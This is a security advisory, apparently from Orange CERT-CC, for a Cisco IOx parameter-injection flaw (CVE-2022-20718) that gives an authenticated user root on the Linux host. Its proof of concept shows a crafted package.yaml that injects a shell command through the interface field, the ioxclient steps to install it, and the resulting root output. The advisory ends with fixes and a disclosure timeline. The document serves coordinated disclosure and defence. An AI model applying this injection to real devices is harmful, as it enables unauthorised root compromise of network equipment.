# Cisco IOx - Application Hosting Environment Parameter Injection Vulnerability (CVE-2022-20718)

( Moderate )

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**Package** 

IOx (Cisco)

Affected versions Patched versions

17.6.1 17.6(2) 17.3.3 17.7(1)

# Description

#### Overview

Cisco provides an API for IOX. Through this API we can install apps.

# **Impact**

While installing a crafted app an authenticated user can gain unrestricted root execution on Linux host.

#### **Details**

App installation require a valid tar archive. This tar require a "package.yaml" file that describes the app. The interface field of "package.yaml" is taken without any validation to setup the network by Cisco Application Framework (CAF).

This field is append to an array for the command but at the end this array is concatenated and sent to a shell.

Pseudo code

```
[...]
cmd.append(intf)
```

```
[...]
subprocess.check_output((' ').join(cmd), stderr=subprocess.STDOUT, shell=True
```

Shell within interface field will be interpreted.

# **Tested versions**

This vulnerability have been tested on Cisco ISR4200.

```
NR-4221-3#show version
Cisco IOS XE Software, Version 17.03.02
Cisco IOS Software [Amsterdam], ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS-M), Version 17.3.2, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2020 by Cisco Systems, Inc.
Compiled Sat 31-Oct-20 13:21 by mcpre
```

# **Proof of Concept**

Prerequisite: enable iox and an app (guestshell for instance)

```
# show run
iox
...
app-hosting appid guestshell
app-vnic management guest-interface 0
...
```

Then in create the following "package.yaml" file:

```
descriptor-schema-version: "2.8"
info:
    name: GuestShell
    description: "Hacked Cisco Systems Guest Shell XE for x86_64"
    version: "3.1.1"
    author-link: "http://www.cisco.com"
    author-name: "Cisco Systems"

app:
    type: lxc
    cpuarch: "x86_64"
    kernel-version: "4.19.88"
    env:
        GUESTSHELL: yes

system-capabilities:
        net_admin: on
```

```
resources:
   profile: custom
   cpu: 800
   memory: 256
   disk: 1
   network:
        - interface-name: eth0$(id > /bootflash/cmdi)

# Specify runtime and startup
   startup:
      rootfs: min.ext2
      target: /sbin/init
```

Then rebuild the app (here we took guestshell.tar):

```
./ioxclient application stop guestshell
./ioxclient application deactivate guestshell
rm guestshell.tar
./ioxclient package -n guestshell --skip-signing .
./ioxclient application uninstall guestshell
./ioxclient application install guestshell guestshell.tar
./ioxclient application activate guestshell
```

The result can see here:

```
NR-4221-3#term shell
NR-4221-3#cat bootflash:cmdi
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_caf_t:s0
```

# Solution

#### **Recommandations sent to PSIRT**

We suggest to:

- apply user input validation
- do not use shell=True on subprocess calls

## Security patch

Upgrade to patched version (see above).

#### Workaround

There are no workarounds that address this vulnerability.

## References

https://nvd.nist.gov/vuln/detail/CVE-2022-20718 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-yuXQ6hFj

# **Credits**

Orange CERT-CC

Cyrille CHATRAS at Orange group

# **Timeline**

Date reported: June 06, 2021 Date fixed: April 13, 2022

### Severity

Moderate ) **5.5** / 10

**CVSS** base metrics

Attack vector Network

Attack complexity Low

Privileges required High

User interaction None

Scope Unchanged

Confidentiality Low

Integrity High

Availability None

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

#### **CVE ID**

CVE-2022-20718

#### Weaknesses

No CWEs